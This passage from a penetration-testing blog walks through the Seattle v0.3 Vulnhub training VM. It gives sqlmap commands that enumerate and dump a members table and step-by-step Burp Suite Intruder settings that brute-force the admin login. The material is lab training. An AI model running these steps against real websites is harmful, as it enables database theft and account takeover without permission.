Great! We have identified the database name to be ‘seattle’ Actually this is quite common for companies to name their database after the company name. After setting up SQL Databases in my job it’s amazing how many DB’s are named after the company. However, this enumeration process is still important to get the correct syntax.

Now we’ll move on to identifying the tables within the database.

Table Enumeration

In Linux terminal we can just press the up arrow key and use our last command entered. Use this to modify the last command to show the below command.

sqlmap -r /root/request.txt -D seattle –table

SQLmap will run through a similar process as before and after a short time it will show you the details of the tables within the ‘seattle’ DB.

tablesFound

A pretty simple Web Application. As most are. Blogs, Products & Members. Much like the website layout. Next we’ll dump the contents of the table ‘tblMembers’ to the terminal. Altering your last command line entry, enter the following.

sqlmap -r /root/request.txt -D seattle -T tblMembers –dump

It almost seems far too easy at the point when this command finishes. However, during this process you are asked a couple of questions.

Do you want to store hashes to a temp file for eventual further processing with other tools? [y/n]

Do you want to crack them via a dictionary attack?[y/n/q]

Some websites store passwords in the database as hashes of the password. This would need to be cracked later on by software like John the Ripper.

After selecting ‘No’ to both of these questions I ended up with the results below.

success

We have successfully dumped the contents of a table within a MySQL database to the screen. You can try the same dump on the other tables to just by altering the last command to show the other tables.

Frightening

It’s a sobering prospect, realising how easy and fast this process can be. This website was designed to be vulnerable to the max. This is probably the most basic form of DB enumeration. The next step would be to find out how to enumerate the backend DB without using SQLmap. This is where you’ll find it important to identify the DB version early on.

I can imagine SQLmap being very useful in a time restricted Pen test as proof of concept to a client that in fact, their DB can be pulled easily. However, it is important to understand how SQLmap works. You get snippets of the commands it passes over, so it’s worth reviewing these and looking up what the commands mean.

If you find this part of Web App Pen Testing interesting and want to know more, it’s going to be really useful to learn about SQL statements, how they are written and the syntax needed for the different versions. Once you get your head around how to query a database, performing queries on a vulnerable database will be easier.

 

Disclaimer

This post is for documentational purposes as proof of concept in Web Application Penetration Testing training. This method should never be used on a live website environment unless you have exclusive permission to do so.

Thanks!

Thanks again to @HollyGraceful for the VM and Vulnhub for hosting it.

 

Posted in Penetration Testing, web app testing

Seattle v0.3 – Burpsuite bruteforce

In the previous post I managed to login to the Seattle v0.3 vulnerable Web Application using a simple SQL Injection command after finding out the username of the Admin account for the site.

In this post I wanted to use one of my favourite tools in Kali Linux, Burpsuite. There is a ton of videos and blogs on how to set up Burp from a beginners standpoint. Essentially Burp acts as a proxy. When you browse the web you do so through Burpsuite and it captures the request/responses from client to server and vice versa. It’s a great tool.

Seattle VM Login

Once again let’s go to the login page of the Seattle Sounds website. This time I’m not going to use SQL Injection to login. I wanted to use the known credentials to test a fully working bruteforce using Burpsuite.

LoginPage

No different from last time. We need to enter an email address to login. We know from the last post that the username is ‘admin@seattlesounds.net’ I just want to test this application so that burp can grab the request.

A little on Burp

You set up Burp as a proxy server. Give Burp the IP of localhost (127.0.0.1 or localhost) and usually port 8080. You then have to point your browser to this IP and port. This will pass any request through the Burp proxy and handle any responses that come back.

Back to the Action!!

LoginPage1

So, if we just enter the login details of anything really and hit login, you will see nothing happens. It just spins. This is because the request is being held in Burp. Over to Burpsuite we go to see what is going on.

There is a lot going on in Burpsuite, however, a neat thing is any active tab glows orange when it receives data. In the ‘Proxy > Intercept’ tabs you will see some information.

Request

When you hit ‘Login’ on the sites page it sent the Request off to what it thought was the webserver. In actual fact it went to Burpsuite and was held frozen for you to do something with it. You can ‘Forward’ this request on to the web server, however, we need this information.

At this point Right Click the ‘Request’ test and ‘Send to Intruder’. It sounds very bad, but don’t worry. The Intruder tab will glow orange as it’s received the data you sent it. Navigate to the ‘Intruder’ tab

cluster

It’s important to do a few things when you hit this window. You will be in the ‘Positions’ tab.

  • Hit the ‘Clear $’ button on the right
  • Highlight the username entered text and hit the ‘Add $’ button
  • Highlight the password field text then also hit the ‘Add $’ button
  • Select the drop down menu in ‘Attack type:’ and select ‘Cluster Bomb’

This part is important because you are selecting payload options and the type of attack you want to perform. You can look up the attack types if it interests you. Some are useful for certain situations. For this we need Cluster Bomb as we are testing a username with various passwords.

Navigate to the ‘Payloads’ tab

Payload set: 1 – This is where you set the username shown in the image below

payload1

Payload set: 2 – This is where you either ‘Load’ a precompiled dictionary list of passwords or just add them manually.

payload2

There are a few options we can enter in the ‘Options’ tab to check against Response parameters, however, it’s not needed here.

Hit the ‘Start Attack’ button. You’ll receive a message about Burp being free and any test will be throttled, however, just hit ‘OK’

A new window will appear and before long (a few seconds) it will be finished.

success

Success!!

Wait, what just happened? I’m confused!

You still need to kind of do some looking around this screen to see if your brute force attempt was successful. I’ve used Burp for a number of months now so I know what to look for. In the interests of quickness you should pay attention to the following.

  • Raw Response tab can be very useful
  • The character length of the response changes in this example from 261 to 320.

This means that the password ‘P@ssw0rd’ was correct for this username. You’d still need to navigate to the site and enter these details. Burp only sends and receives RAW responses and sends Requests without the GUI of the site. The site will still be spinning away in the background in your browser.

Burp is amazing

I do like Burpsuite. I’ve used it a lot, and there’s so much more it can do. It’s detailed quite well in the book “The Hackers Playbook”, only it’s the Pro version they use. The free version has limitations.

In the next post I want to use SQLMAP to enumerate the backend databases.

Thanks!

Once again, thanks to HollyGraceful for creating the VM for everyone to exploit. Also to Vulnhub for hosting it.